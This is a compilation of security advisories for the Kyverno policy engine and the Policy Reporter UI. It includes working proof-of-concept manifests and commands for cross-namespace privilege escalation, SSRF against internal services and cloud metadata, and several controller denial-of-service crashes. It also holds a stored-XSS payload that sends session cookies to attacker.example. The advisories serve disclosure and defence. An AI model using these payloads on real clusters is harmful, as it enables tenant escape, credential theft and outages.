Summary

In Kyverno v1.18.1, a tenant who can create a NamespacedMutatingPolicy in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL generator.apply(namespace, resources) function.

Details

pkg/cel/libs/context.go:177 declares GenerateResources(namespace string, dataList []map[string]any). The namespace argument arrives unvalidated from the CEL expression generator.apply("<target-namespace>", [...]).

Version-Specific Impact

v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):

The nmpol CEL compiler unintentionally exposes the generator library to match condition expressions. A namespaced mutating policy can invoke generator.apply() in a boolean CEL expression such as matchConditions, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges.

NamespacedGeneratingPolicy is not a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).

Root Cause

The admission validator for NamespacedMutatingPolicy (pkg/cel/policies/mpol/validate.go) only checks that the policy compiles and does not enforce namespace scope on generator.apply() arguments.

Compare correctly-guarded equivalents: pkg/engine/context/loaders/configmap.go:102 rejects cross-namespace ConfigMap references for namespaced policies, and pkg/engine/apicall/apicall.go:73-82 enforces namespace segment matching. GenerateResources has neither guard.

Proof of Concept

Prerequisites: namespace tenant-ns exists; attacker has create on namespacedmutatingpolicies.policies.kyverno.io in tenant-ns.

yaml apiVersion: policies.kyverno.io/v1beta1 kind: NamespacedMutatingPolicy metadata: name: cross-ns-escalate namespace: tenant-ns spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] resources: ["configmaps"] operations: ["CREATE"] mutations: - patchType: applyConfiguration applyConfiguration: expression: object matchConditions: - name: trigger-escalation expression: | generator.apply("kube-system", [ { "apiVersion": dyn("v1"), "kind": dyn("ConfigMap"), "metadata": dyn({ "name": "kube-system-config", "namespace": "kube-system" }), "data": dyn({ "injected-by": "tenant-policy", "impact": "unauthorized access to kube-system namespace" }) } ])

Apply the policy, then create any ConfigMap in tenant-ns to trigger the admission webhook. The admission controller creates configmap/kube-system-config in kube-system. By default, the admission controller has create on ConfigMaps in all namespaces.

Impact

A namespace-scoped user with create on NamespacedMutatingPolicy in >=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows:

Injecting sensitive configuration into protected namespaces (e.g., kube-system, default) Disrupting cluster networking via NetworkPolicies Privilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles) Privilege escalation via RoleBinding creation in other namespaces Any installation that grants non-admin users access to NamespacedMutatingPolicy creation is affected.

Timeline

2026-05-20: Vulnerability reproduced on main 2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published 2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy)

Advisory Update

This advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.

Summary Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., <img src=x onerror=alert(1)> padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.

This vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.

PoC

Prerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)

Create a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser. bash kubectl apply -f - <<'EOF' apiVersion: wgpolicyk8s.io/v1alpha2 kind: PolicyReport metadata: name: xss-poc namespace: default results: - message: "test" policy: xss-test-policy rule: check-rule result: fail properties: # Value > 75 chars and not an http/https URL -> routed to v-html sink advisory: "<img src=x onerror=\"fetch('https://attacker.example/c?c='+document.cookie)\"> padding padding padding" EOF Once a UI user opens the results table for the 'default' namespace and expands the 'xss-test-policy' result row, the onerror handler fires and exfiltrates their session cookies to attacker.example <img width="1562" height="1061" alt="Снимок экрана — 2026-04-21 в 10 52 17" src="https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7" /> <img width="1041" height="939" alt="Снимок экрана — 2026-04-21 в 10 51 44" src="https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7" />

Impact XSS

Summary

An unchecked type assertion in the forEach mutation handler allows any user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.

Details

In pkg/engine/mutate/mutation.go, the ForEach function performs a bare type assertion on a map value that can be nil:

go patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string))

When a forEach rule uses a patchesJson6902 field containing a variable substitution (e.g., {{ element.nonexistent }}) that resolves to nil at runtime, the type assertion .(string) on a nil interface{} triggers an unrecoverable Go panic:

panic: interface conversion: interface {} is nil, not string

When a mutateExisting rule triggers, the admission controller creates an UpdateRequest resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or UpdateRequest is deleted.

The background controller processes mutateExisting rules in worker goroutines where k8s.io/apimachinery/pkg/util/runtime.HandleCrash catches panics but re-panics by default, killing the process. The admission controller survives because Go's net/http server absorbs panics in handler goroutines via defer recover(), though the connection is dropped.

The vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.

PoC

Apply the following manifest:

yaml --- PoC A: Namespaced Policy crashes the background controller --- apiVersion: kyverno.io/v1 kind: Policy metadata: name: poc-background-crash namespace: default spec: mutateExistingOnPolicyUpdate: true rules: - name: crash-foreach-nil match: any: - resources: kinds: - ConfigMap mutate: targets: - apiVersion: v1 kind: ConfigMap name: poc-target namespace: default foreach: - list: "target.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}" --- apiVersion: v1 kind: ConfigMap metadata: name: poc-target namespace: default data: key1: value1 --- This ConfigMap creation triggers the mutateExisting rule via UpdateRequest apiVersion: v1 kind: ConfigMap metadata: name: poc-trigger namespace: default data: trigger: "true" --- --- PoC B: ClusterPolicy panics the admission controller (connection drop) --- Effect: all Secret create/update operations are blocked cluster-wide The admission controller does not crash (net/http recovers), but every matching request gets EOF -> webhook failure -> denied apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: poc-admission-panic spec: rules: - name: panic-foreach-nil match: any: - resources: kinds: - Secret mutate: foreach: - list: "request.object.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}"

Verify:

bash After ~5 seconds, background controller is in CrashLoopBackOff: kubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller

Admission panic — all Secret operations fail with EOF: kubectl create secret generic test-secret --from-literal=key=value Error: failed calling webhook "mutate.kyverno.svc-fail": ... EOF

Admission controller logs:

http: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string goroutine 1914 [running]: net/http.(conn).serve.func1() net/http/server.go:1943 +0xb4 panic({0x3947fc0?, 0x40023e3890?}) runtime/panic.go:783 +0x120 github.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10}) ...

Impact

Persistent denial of service of cluster-wide Kyverno controllers. Policy is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:

1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own. 2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a ClusterPolicy (requiring cluster-level RBAC), the admission block extends cluster-wide.

The crash loop is self-sustaining because the poisoned UpdateRequest remains in the queue and re-triggers the panic on every controller restart.

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.

Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. An updated fix is available in version 1.17.2.

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 1.16.4, kyverno’s apiCall servicecall helper implicitly injects Authorization: Bearer ... using the kyverno controller serviceaccount token when a policy does not explicitly set an Authorization header. Because context.apiCall.service.url is policy-controlled, this can send the kyverno serviceaccount token to an attacker-controlled endpoint (confused deputy). Namespaced policies are blocked from servicecall usage by the namespaced urlPath gate in pkg/engine/apicall/apiCall.go, so this report is scoped to ClusterPolicy and global context usage. This vulnerability is fixed in 1.16.4.

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.

Affected Versions

- Kyverno >= 1.16.0 (with policies.kyverno.io CRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)

Details

The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.

Vulnerable Code: pkg/cel/libs/http/http.go go func (r contextImpl) Get(url string, headers map[string]string) (any, error) { req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil) // NO URL VALIDATION - no blocklist, no namespace restrictions ... }

Contrast with resource.Lib which enforces namespace: go // pkg/cel/libs/resource/lib.go func Lib(namespace string, v version.Version) cel.EnvOption { return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced }

This is a different code path from previously reported issues: - GHSA-8p9x-46gm-qfx2: pkg/engine/apicall/apiCall.go (URLPath) - Fixed - GHSA-459x-q9hg-4gpq: pkg/engine/apicall/executor.go (Service.URL) - Different feature (apiCall vs CEL http) - This issue: pkg/cel/libs/http/http.go (CEL http.Get/http.Post) - Not fixed

PoC

Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).

A complete automated PoC script is attached. Manual steps below:

1. Setup attacker with namespace-scoped permissions bash kubectl create namespace attacker-ns kubectl create serviceaccount namespace-admin -n attacker-ns

cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: namespace-admin-role namespace: attacker-ns rules: - apiGroups: [""] resources: ["configmaps"] verbs: ["create", "get", "list"] - apiGroups: ["policies.kyverno.io"] resources: ["namespacedvalidatingpolicies"] verbs: ["create", "get", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: namespace-admin-binding namespace: attacker-ns subjects: - kind: ServiceAccount name: namespace-admin namespace: attacker-ns roleRef: kind: Role name: namespace-admin-role apiGroup: rbac.authorization.k8s.io EOF

2. Create sensitive internal service (simulating internal API or cloud metadata) bash cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: internal-api namespace: kube-system labels: app: internal-api spec: containers: - name: server image: hashicorp/http-echo args: - "-text={\"secret\": \"STOLENINTERNALSECRET12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}" - "-listen=:8080" --- apiVersion: v1 kind: Service metadata: name: internal-api namespace: kube-system spec: selector: app: internal-api ports: - port: 80 targetPort: 8080 EOF

3. Verify attacker cannot access kube-system directly bash kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin Output: no

4. Create malicious NamespacedValidatingPolicy (as attacker) bash cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f - apiVersion: policies.kyverno.io/v1beta1 kind: NamespacedValidatingPolicy metadata: name: cel-ssrf-poc namespace: attacker-ns spec: matchConstraints: resourceRules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["configmaps"] variables: - name: stolenData expression: | http.Get('http://internal-api.kube-system.svc.cluster.local') validations: - expression: "false" message: "Validation failed" messageExpression: | 'SSRFLEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token'] EOF

5. Trigger exploit and exfiltrate data bash kubectl create configmap trigger --from-literal=x=y -n attacker-ns \ --as=system:serviceaccount:attacker-ns:namespace-admin

6. Result - Secret data exfiltrated error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail" denied the request: Policy cel-ssrf-poc failed: SSRFLEAKED: secret=STOLENINTERNALSECRET12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Impact

1. Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace 2. Cloud credential theft: Access to http://169.254.169.254/... allows stealing AWS/GCP/Azure IAM credentials 3. Data exfiltration: HTTP response data exposed via validation error messages or audit annotations 4. Breaks namespace isolation: Inconsistent with Kyverno's security model where resource.Lib enforces namespace boundaries

Affected Policies

All CEL-based namespaced policies in policies.kyverno.io API group: - NamespacedValidatingPolicy - NamespacedMutatingPolicy - NamespacedDeletingPolicy - NamespacedImageValidatingPolicy

Suggested Fix

Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries: go type lib struct { namespace string // Add namespace parameter version version.Version }

func (r contextImpl) Get(url string, headers map[string]string) (any, error) { if err := r.validateURL(url); err != nil { return nil, fmt.Errorf("blocked URL: %w", err) } // ... existing code }

func (r contextImpl) validateURL(urlStr string) error { // Block cloud metadata (169.254.0.0/16) // Block localhost/loopback (127.0.0.0/8) // For namespaced policies: restrict to same namespace services only }

Attached kyverno-cel-ssrf-poc.sh

Credit

Discovered by: Igor Stepansky Organization: Orca Security Email: igor.stepansky@orca.security Personal Email: stepanskyigor@gmail.com

Summary

Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.

Details

For example, the random() JMESPath function in pkg/engine/jmespath/functions.go generates random strings. Combined with the join() function, an attacker can create exponential string amplification through context variable chaining:

The PoC attack uses exponential doubling: - l0 = random('[a-zA-Z0-9]{1000}') → 1KB - l1 = join('', [l0, l0]) → 2KB - l2 = join('', [l1, l1]) → 4KB - ... continues to l18 → 256MB

The context evaluation has no cumulative size limit, allowing unbounded memory allocation.

PoC

Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).

1. Create namespace: bash kubectl create namespace poc-test

2. Observe pod statuses from kyverno namespace on another terminal: bash kubectl get pods -n kyverno -w

2. Apply malicious policy: yaml apiVersion: kyverno.io/v1 kind: Policy metadata: name: memory-exhaustion-poc namespace: poc-test spec: validationFailureAction: Enforce rules: - name: exhaust-memory match: any: - resources: kinds: - ConfigMap context: - name: l0 variable: jmesPath: random('[a-zA-Z0-9]{1000}') - name: l1 variable: jmesPath: join('', [l0, l0]) - name: l2 variable: jmesPath: join('', [l1, l1]) - name: l3 variable: jmesPath: join('', [l2, l2]) - name: l4 variable: jmesPath: join('', [l3, l3]) - name: l5 variable: jmesPath: join('', [l4, l4]) - name: l6 variable: jmesPath: join('', [l5, l5]) - name: l7 variable: jmesPath: join('', [l6, l6]) - name: l8 variable: jmesPath: join('', [l7, l7]) - name: l9 variable: jmesPath: join('', [l8, l8]) - name: l10 variable: jmesPath: join('', [l9, l9]) - name: l11 variable: jmesPath: join('', [l10, l10]) - name: l12 variable: jmesPath: join('', [l11, l11]) - name: l13 variable: jmesPath: join('', [l12, l12]) - name: l14 variable: jmesPath: join('', [l13, l13]) - name: l15 variable: jmesPath: join('', [l14, l14]) - name: l16 variable: jmesPath: join('', [l15, l15]) - name: l17 variable: jmesPath: join('', [l16, l16]) - name: l18 variable: jmesPath: join('', [l17, l17]) validate: message: "Memory exhaustion PoC" deny: conditions: any: - key: "{{ l18 }}" operator: Equals value: "impossible-match"

As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.

4. Trigger policy evaluation on the admission controller: bash kubectl create configmap trigger -n poc-test --from-literal=key=value

Response:

error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF

The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.

5. Check pod status from the kyverno namespace:

bash kubectl get pods -n kyverno

Outputs:

kyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m kyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m

While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same kubectl create configmap command from above and reproduce the crash.

Impact

Denial of Service with cluster-wide security impact. Users with Policy or ClusterPolicy creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:

- Pod OOMKill and service disruption - No logs on why the crash occurred (admission controller, reports controller) - Cluster-wide policy enforcement disabled and security policies stop being evaluated - If failurePolicy: Ignore is configured, workloads bypass all validation during outage - Applications depending on Kyverno mutations may deploy with incorrect configurations

Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.

Mitigation

Add a context size limit to prevent unbounded memory allocation during policy evaluation.

Summary

A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.

As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.

Details

The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.

1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath. go // pkg/engine/apicall/apiCall.go func (a apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall)

2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method. go // pkg/engine/apicall/executor.go func (a executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)

Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.

PoC 001 - Data exfiltration The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.

0. Setup kind + Kyverno

Tested with Kyverno v1.16.1 on k8s v1.34.0.

bash kind create cluster helm repo add kyverno https://kyverno.github.io/kyverno/ helm repo update helm install kyverno kyverno/kyverno -n kyverno --create-namespace

1. Setup target and low-privileged user Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace. bash Create confidential data in kube-system kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data

Create a restricted service account kubectl create sa policy-admin -n default

Create a role for managing policies and configmaps in default namespace only kubectl create role policy-admin-role -n default \ --verb=create,get,list,update,delete \ --resource=policies.kyverno.io,configmaps

Bind the role to the service account kubectl create rolebinding policy-admin-binding -n default \ --role=policy-admin-role \ --serviceaccount=default:policy-admin

Verify the user cannot access kube-system kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin Output: no

2. Create malicious policy as the restricted user Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: cross-ns-leak namespace: default spec: validationFailureAction: Enforce rules: - name: leak-config match: resources: kinds: - ConfigMap context: - name: leakedData apiCall: # Injection happens here via annotations urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.targetns}}/configmaps/{{request.object.metadata.annotations.targetname}}" jmesPath: "data.key" validate: # The leaked data is returned in the denial message message: "LEAKED DATA: {{leakedData}}" deny: {} EOF

3. Trigger the leak As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system. yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-leak namespace: default annotations: targetns: "kube-system" targetname: "target-cm" data: {} EOF

4. Result The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-leak was blocked due to the following policies

cross-ns-leak: leak-config: 'LEAKED DATA: confidential-data'

PoC 002 - ClusterPolicy injection

Continue from the setup from the previous PoC.

This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.

1. Apply a malicious policy

yaml cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: kyverno.io/v1 kind: Policy metadata: name: mutation-cpol namespace: default spec: validationFailureAction: Enforce rules: - name: create-malicious-cpol match: resources: kinds: - ConfigMap context: - name: mutation apiCall: urlPath: "/apis/kyverno.io/v1/clusterpolicies" method: POST data: - key: apiVersion value: "kyverno.io/v1" - key: kind value: "ClusterPolicy" - key: metadata value: name: "malicious-cpol" - key: spec value: validationFailureAction: Enforce rules: - name: block-all match: resources: kinds: - Pod validate: message: "Blocked by malicious policy" deny: {} validate: message: "Created ClusterPolicy: {{mutation.metadata.name}}" deny: {} EOF

2. Trigger the policy

bash cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f - apiVersion: v1 kind: ConfigMap metadata: name: trigger-cpol namespace: default data: {} EOF

This outputs an error:

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-cpol was blocked due to the following policies

mutation-cpol: create-malicious-cpol: ""

3. Observe the new cluster policy

bash kubectl get clusterpolicy malicious-cpol

Outputs:

NAME ADMISSION BACKGROUND READY AGE MESSAGE malicious-cpol true true True 4m58s Ready

4. Verify that no new pods can be created (even as a cluster admin)

Run:

kubectl run --image=nginx foo

Outputs:

Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:

resource Pod/default/foo was blocked due to the following policies

malicious-cpol: block-all: Blocked by malicious policy Impact

- Users with Policy creation rights in a single namespace can escalate privileges (context of Kyverno admission controller). - Since apiCall supports POST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in kube-system to grant themselves cluster-admin) if the Kyverno service account has write permissions. - Attackers can disrupt the entire cluster by creating a malicious ClusterPolicy that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2. - Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC. - In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.

The following command should be run on a per-environment basis to understand impact:

kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list

By default, this does not include Secrets.

Mitigation

The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.

The mitigation logic validates the urlPath for namespaced policies by ensuring: 1. The path explicitly contains the /namespaces/<namespace>/ segment. 2. The namespace in the path matches the policy's namespace. 3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.

This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.

Summary A Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the {{@}} variable combined with a pipe and an invalid JMESPath function (e.g., {{@ | nonexistentfunction }}).

This leads to a nil value being substituted into the policy structure. Subsequent processing by internal functions, specifically getValueAsStringMap, which expect string values, results in a panic due to a type assertion failure (interface {} is nil, not string). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability."

Details The vulnerability lies in the getValueAsStringMap function within pkg/engine/wildcards/wildcards.go (specifically around line 138):

go func getValueAsStringMap(key string, data interface{}) (string, map[string]string) { // ... valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value // ... for k, v := range valMap { // If valMap contains a key whose value is nil... result[k] = v.(string) // PANIC: v.(string) on a nil interface{} } return patternKey, result }

When a policy contains a variable like {{@ | foo}} (where foo is not a defined JMESPath function), the JMESPath evaluation within Kyverno's variable substitution logic results in a nil value. This nil is then assigned to the corresponding field in the policy pattern (e.g., a label value).

During policy processing, ExpandInMetadata calls expandWildcardsInTag, which in turn calls getValueAsStringMap. If the data argument to getValueAsStringMap (derived from the policy pattern) contains this nil value where a string is expected, the type assertion v.(string) panics when v is nil.

Proof of Concept (PoC)

This proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is Audit. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.

In the second phase the same policy is inserted with the Enforce validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.

Tested on Kyverno v1.14.1.

1. Prerequisites: Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update ClusterPolicy or Policy resources.

2. Create a Malicious Policy: Apply the following ClusterPolicy:

yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: dos-via-jmespath-nil spec: rules: - name: trigger-nil-panic match: any: - resources: kinds: - Pod validate: message: "DoS attempt via JMESPath nil substitution" pattern: metadata: labels: # '{{@ | nonexistentfunction}}' will result in a nil value for this label. # This nil value causes a panic in getValueAsStringMap. triggerpanic: "{{@ | nonexistentfunction}}"

3. Verify the policy status: Make sure the policy is ready.

bash k get clusterpolicy dos-via-jmespath-nil NAME ADMISSION BACKGROUND READY AGE MESSAGE dos-via-jmespath-nil true true True 24m Ready

3. Trigger the Policy: Create any Pod in any namespace (if not further restricted by match or exclude):

bash kubectl run test-pod-dos --image=nginx

4. Observe Crashes: Check Kyverno admission controller logs for worker panics (interface conversion: interface {} is nil, not string). Check Kyverno reports controller logs; the pod crashes and restarts. Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380

5. Reset: Delete the existing policy with kubectl delete clusterpolicy dos-via-jmespath-nil and delete the test pod with kubectl delete pod test-pod-dos. Then apply the following:

yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: dos-via-jmespath-nil-enforce spec: validationFailureAction: Enforce # This has changed rules: - name: trigger-nil-panic match: any: - resources: kinds: - Pod validate: message: "DoS attempt via JMESPath nil substitution" pattern: metadata: labels: # '{{@ | nonexistentfunction}}' will result in a nil value for this label. # This nil value causes a panic in getValueAsStringMap. triggerpanic: "{{@ | nonexistentfunction}}"

6. Trigger the Policy (again): Create any Pod in any namespace (if not further restricted by match or exclude):

bash kubectl run test-pod-dos --image=nginx

The command returns the following error:

bash Error from server (InternalError): Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF

7. Observe Crashes: Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker. Check Kyverno reports controller logs; the pod crashes and restarts.

Impact

This is a Denial of Service (DoS) vulnerability.

Affected Components: Kyverno Admission Controller: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail. Kyverno Reports Controller: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.

